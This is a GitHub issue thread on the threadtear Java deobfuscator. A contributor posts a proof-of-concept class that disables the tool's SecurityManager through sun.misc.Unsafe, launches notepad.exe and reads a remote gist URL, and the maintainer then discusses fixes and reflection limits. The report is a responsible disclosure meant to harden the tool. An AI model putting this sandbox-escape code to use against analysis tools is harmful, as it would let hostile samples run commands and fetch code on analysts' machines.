threadtear icon indicating copy to clipboard operation
threadtear copied to clipboard

Example PoC of ACE to link on README.md

Open ItzSomebody opened this issue 4 years ago • 6 comments

Saw your warning @ https://github.com/GraxCode/threadtear#warning and thought it would be cool if people could see what an example of a successful arbitrary code execution would look like on threadtear as well as how the deobfuscator's instances are exposed to the program.

The PoC below specifically is targeted against Allatori's transformer; however, it can easily be adapted to fool threadreaper into executing it in any of the other transformers which utilize the VM.

package me.itzsomebody.poc;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class PoC {
    public static void bogus() {
        System.out.println(malicious("lol"));
    }

    public static String malicious(String bogus) {
        try {
            for (StackTraceElement element : Thread.currentThread().getStackTrace()) {
                if (element.getClassName().startsWith("me.nov")) {
                    System.out.println("Found exposed threadtear deobfuscator instance: " + element.toString());
                }
            }
        } catch (Throwable t) {
        }
        try {
            Field f = Unsafe.class.getDeclaredField("theUnsafe"); // from http://weblog.ikvm.net/2011/08/01/HowToDisableTheJavaSecurityManager.aspx
            f.setAccessible(true);
            Unsafe unsafe = (Unsafe) f.get(null);
            Method staticFieldBase = Unsafe.class.getDeclaredMethod("staticFieldBase", Class.class);
            Object systemBase = staticFieldBase.invoke(unsafe, System.class);
            Method getObject = Unsafe.class.getDeclaredMethod("getObjectVolatile", Object.class, long.class);
            Method putObject = Unsafe.class.getDeclaredMethod("putObjectVolatile", Object.class, long.class, Object.class);

            for (int i = 0; ; i += 4) {
                if (getObject.invoke(unsafe, systemBase, i) == System.getSecurityManager()) {
                    putObject.invoke(unsafe, systemBase, i, null);
                    System.out.println("Disabled threadtear's SecurityManager");
                    break;
                }
            }

            Runtime.getRuntime().exec("notepad.exe");
            System.out.println("Successful command line execution");

            java.net.URLConnection connection = new java.net.URL("https://gist.githubusercontent.com/ItzSomebody/ac48f790620dace21ab2654bac155107/raw/4e6bea306e5c42a8ff58b39b76f91884931e8b4b/keybase.md").openConnection();
            connection.setConnectTimeout(8000);
            connection.setReadTimeout(8000);
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(connection.getInputStream()));
            String s;
            while ((s = reader.readLine()) != null) {
                System.out.println(s);
            }
            System.out.println("Successful arbitrary code execution");
        } catch (Throwable t) {
            // Oops, we failed to disable the SM
            // Gotta exit otherwise SuSpiCiOuS
        }

        return "TT ACE proof-of-concept";
    }
}

ItzSomebody avatar May 08 '20 09:05 ItzSomebody

Interesting, didn't know you could bypass the security manager like that. Check out the latest commit.

GraxCode avatar May 08 '20 10:05 GraxCode

If you find another bypass, let me know!

GraxCode avatar May 08 '20 11:05 GraxCode

Your latest commit will actually break your other executions in certain cases (notably, the ones for Stringer) as some decryptor methods actually make use of some of the classes you prohibited with that commit.

Examples:

  • Stringer 3.x.x string encryption with bytecode integrity checking (uses the Sun API to fetch the constant pool size of the callee's containing class).
  • Stringer 3.x.x/9.x.x string encryption with JAR integrity checking which utilizes java.lang.reflect to check parts of the JAR to compute a key.
  • Stringer 3.x.x/9.x.x hide access obfuscation which utilizes classes from java.lang.reflect to produce either CallSite or a java.lang.reflect.{Method/Field} to the appropriate class member.

Furthermore, the presence of the VM can still be found with something such as if (PoC.class.getClassLoader().getClass().getName().startsWith("me.nov")) throw new RuntimeException("Found deobfuscator instance").

ItzSomebody avatar May 08 '20 18:05 ItzSomebody

Oops, didn't notice that. You can't really hide the VM instance, but that's not that important IMO. Gotta find a workaround for that.

GraxCode avatar May 08 '20 18:05 GraxCode

It is gonna be pretty hard to block bypasses using reflection, as ReflectPermission does not provide a way to get the context (e. g. allow reflection for everything, except java.lang.System). For now I'm disabling reflection checks for these executions you listed.

GraxCode avatar May 08 '20 21:05 GraxCode

Java doesn't allow me to redefine java.lang.reflect.AccessibleObject either. Still haven't found any way to only block certain reflection.

GraxCode avatar May 09 '20 10:05 GraxCode